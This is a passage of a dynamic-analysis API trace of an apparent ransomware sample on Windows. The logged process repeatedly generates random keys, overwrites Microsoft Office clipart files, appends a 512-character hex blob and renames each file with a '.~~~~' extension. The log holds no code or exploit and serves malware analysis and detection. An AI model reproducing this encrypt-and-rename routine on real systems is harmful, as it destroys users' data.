	[0115.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283ab48
	[0115.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ab48 | out: hHeap=0x300000) returned 1
	[0115.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6a78
	[0115.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0018
	[0115.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.434] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.434] GetLastError () returned 0x0
	[0115.434] GetLastError () returned 0x0
	[0115.434] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.434] GetLastError () returned 0x0
	[0115.434] GetLastError () returned 0x0
	[0115.437] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe7b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.437] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x184c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x184c, lpOverlapped=0x0) returned 1
	[0115.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.439] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.439] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.439] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.439] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.439] CloseHandle (hObject=0x13c) returned 1
	[0115.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6a78
	[0115.440] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf.~~~~")) returned 1
	[0115.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.441] GetLastError () returned 0x0
	[0115.441] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.442] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.442] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.442] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.442] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23543241811) returned 1
	[0115.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae4e67b0, dwHighDateTime=0x1d60e1e)) 
	[0115.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283ab80
	[0115.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ab80 | out: hHeap=0x300000) returned 1
	[0115.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6a78
	[0115.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b01e0
	[0115.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.443] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.443] GetLastError () returned 0x0
	[0115.444] GetLastError () returned 0x0
	[0115.444] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.444] GetLastError () returned 0x0
	[0115.444] GetLastError () returned 0x0
	[0115.446] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffabc6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.446] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x543a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x543a, lpOverlapped=0x0) returned 1
	[0115.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.447] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.447] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.448] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.448] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.448] CloseHandle (hObject=0x13c) returned 1
	[0115.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6a78
	[0115.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf.~~~~")) returned 1
	[0115.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.449] GetLastError () returned 0x0
	[0115.449] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.450] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.450] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.450] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23544032792) returned 1
	[0115.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae50c910, dwHighDateTime=0x1d60e1e)) 
	[0115.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283abb8
	[0115.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283abb8 | out: hHeap=0x300000) returned 1
	[0115.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6a78
	[0115.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0278
	[0115.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.451] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.451] GetLastError () returned 0x0
	[0115.451] GetLastError () returned 0x0
	[0115.451] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.451] GetLastError () returned 0x0
	[0115.451] GetLastError () returned 0x0
	[0115.453] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe912, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.454] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x16ee, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x16ee, lpOverlapped=0x0) returned 1
	[0115.454] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.455] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.455] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.455] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.455] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.455] CloseHandle (hObject=0x13c) returned 1
	[0115.455] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6a78
	[0115.455] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf.~~~~")) returned 1
	[0115.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.456] GetLastError () returned 0x0
	[0115.456] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.457] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.458] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.458] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23544791440) returned 1
	[0115.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae50c910, dwHighDateTime=0x1d60e1e)) 
	[0115.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283abf0
	[0115.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283abf0 | out: hHeap=0x300000) returned 1
	[0115.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6a78
	[0115.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b0310
	[0115.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6a78 | out: hHeap=0x300000) returned 1
	[0115.459] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.459] GetLastError () returned 0x0
	[0115.459] GetLastError () returned 0x0
	[0115.459] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.459] GetLastError () returned 0x0
	[0115.459] GetLastError () returned 0x0
	[0115.527] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffbe3e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.527] WriteFile (in: hFile=0x13c, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x41c2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x41c2, lpOverlapped=0x0) returned 1
	[0115.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0115.528] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.528] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.528] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.528] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.528] CloseHandle (hObject=0x13c) returned 1
	[0115.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f69d0
	[0115.528] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf.~~~~")) returned 1
	[0115.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f69d0 | out: hHeap=0x300000) returned 1
	[0115.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.529] GetLastError () returned 0x0
	[0115.529] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.530] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.530] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.530] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.530] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0115.530] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23552056792) returned 1
	[0115.531] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xae5caff0, dwHighDateTime=0x1d60e1e)) 
	[0115.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0115.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0115.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0115.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x283ade8
	[0115.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0115.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283ade8 | out: hHeap=0x300000) returned 1
	[0115.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0115.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0115.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f69d0
	[0115.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0115.531] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b03a8
	[0115.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f69d0 | out: hHeap=0x300000) returned 1
	[0115.531] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0115.531] GetLastError () returned 0x0
	[0115.531] GetLastError () returned 0x0
	[0115.531] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0115.532] GetLastError () returned 0x0
	[0115.532] GetLastError () returned 0x0
	[0115.533] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffed90, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.533] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x1270, lpOverlapped=0x0) returned 1
	[0115.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0115.534] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.534] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0115.534] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0115.534] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0115.534] CloseHandle (hObject=0x13c) returned 1
	[0115.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f69d0
	[0115.535] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf.~~~~")) returned 1
	[0115.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f69d0 | out: hHeap=0x300000) returned 1
	[0115.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0115.558] GetLastError () returned 0x0
	[0115.559] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0115.560] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0115.560] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0115.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0115.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0115.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
